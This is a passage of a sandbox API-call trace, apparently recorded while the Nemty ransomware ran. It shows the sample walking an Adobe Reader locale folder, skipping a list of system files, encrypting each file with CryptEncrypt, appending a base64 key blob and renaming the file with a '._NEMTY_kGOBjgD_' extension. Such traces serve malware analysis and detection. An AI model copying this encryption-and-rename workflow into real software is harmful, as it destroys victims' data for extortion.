HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.032] Sleep (dwMilliseconds=0x5) [0174.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b631190, dwHighDateTime=0x1d561e8)) [0174.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b631190, dwHighDateTime=0x1d561e8)) [0174.050] GetLastError () returned 0x0 [0174.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.050] GetLastError () returned 0x0 [0174.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.051] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.051] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.051] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9g4/EJJJ4u8A0pYFLXOxCYSq2bb1FcHYCgsxViXdBbWSxIfx+S/aOpc8g1tDl471\r\nQWKjgab9ctCa0V1w423DzY8g6TMqlC8m9G2A9Pcp/+N3fOKiLRBOI+4nbH8WpLwN\r\nYeObtIsCwyOHLMrXVuYX362ANq9jfk8DH+d3IVGu49lZw4a9XTKmDXcVTCFZmNbz\r\nFJCcK+6LmWQdJkMSFl3qWOlbqa8bqyDrcvMY4rP5C3uOrSXkhvhhteeH7kBlvEFQ\r\nIl/lyo5GEkAwl3CP/GUu6Ki35G3vr1uOFhxaIHd2NLt0tbtypCfufSHXmU8pH+pD\r\nQ0o69r0L/2bSFSvLXcxiQA==\r\n", pcchString=0x653e5dc) returned 1 [0174.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.063] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0174.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0174.063] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.063] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0174.065] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.065] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0174.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.065] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0174.065] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.065] CloseHandle (hObject=0x2e8) returned 1 [0174.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.066] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze._nemty_kgobjgd_")) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.066] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.CZE", cAlternateFileName="")) returned 1 [0174.066] lstrcmpiW (lpString1="Checkers.CZE", lpString2=".") returned 1 [0174.066] lstrcmpiW (lpString1="Checkers.CZE", lpString2="..") returned 1 [0174.066] lstrcmpiW (lpString1="Checkers.CZE", lpString2="...") returned 1 [0174.066] lstrcmpiW (lpString1="Checkers.CZE", lpString2="windows") returned -1 [0174.066] lstrcmpiW (lpString1="Checkers.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.066] lstrcmpiW (lpString1="Checkers.CZE", lpString2="rsa") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="NTDETECT.COM") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="ntldr") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="MSDOS.SYS") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="IO.SYS") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="boot.ini") returned 1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="boot.ini") returned 1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="ntuser.dat") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="desktop.ini") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="CONFIG.SYS") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="RECYCLER") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="bootmgr") returned 1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="programdata") returned -1 [0174.067] lstrcmpiW (lpString1="Checkers.CZE", lpString2="appdata") returned 1 [0174.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.067] Sleep (dwMilliseconds=0x5) [0174.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b67d450, dwHighDateTime=0x1d561e8)) [0174.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b67d450, dwHighDateTime=0x1d561e8)) [0174.078] GetLastError () returned 0x0 [0174.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.078] GetLastError () returned 0x0 [0174.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.079] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.079] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+NvFJZBDV/h1oLNS1S4w84ckGZD5nVSXoUYlrxduhQW18nWPomSn4NDX7gZTUoxO\r\nT8BKfLU1pgFlFw8bfokYpjjneUOEy/+pg2+GXlhLk3nIJbxWozZTHM8QJg1CF0+0\r\n/GOlOicBwSIYci4/5/1FSUHkjQt54SlWPiHzVcF4xqLUiWtXsxtXhie6WIpwfiXL\r\ndt1ybR16ChjhA+YsdLWw1eLieI5hmZvcJm3u9YRvdEQ6foMzlagKPvL85RvF8Zoe\r\nsWRokk4sUN8TmJ6IBXu1Q9Mv39HNfAe/+eMECFGcMyu6YZaBJPsR+llXqpUKZocL\r\nkenxGb77S8g+Hf59RdFoZg==\r\n", pcchString=0x653e5dc) returned 1 [0174.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.079] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=121344) returned 1 [0174.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.079] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.079] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.133] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.133] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.133] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=121344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1da00 [0174.133] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.133] CloseHandle (hObject=0x2e8) returned 1 [0174.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze._nemty_kgobjgd_")) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.134] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.CZE", cAlternateFileName="")) returned 1 [0174.134] lstrcmpiW (lpString1="DigSig.CZE", lpString2=".") returned 1 [0174.134] lstrcmpiW (lpString1="DigSig.CZE", lpString2="..") returned 1 [0174.134] lstrcmpiW (lpString1="DigSig.CZE", lpString2="...") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="windows") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="rsa") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="NTDETECT.COM") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="ntldr") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="MSDOS.SYS") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="IO.SYS") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="boot.ini") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="boot.ini") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="ntuser.dat") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="desktop.ini") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="CONFIG.SYS") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="RECYCLER") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="bootmgr") returned 1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="programdata") returned -1 [0174.135] lstrcmpiW (lpString1="DigSig.CZE", lpString2="appdata") returned 1 [0174.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 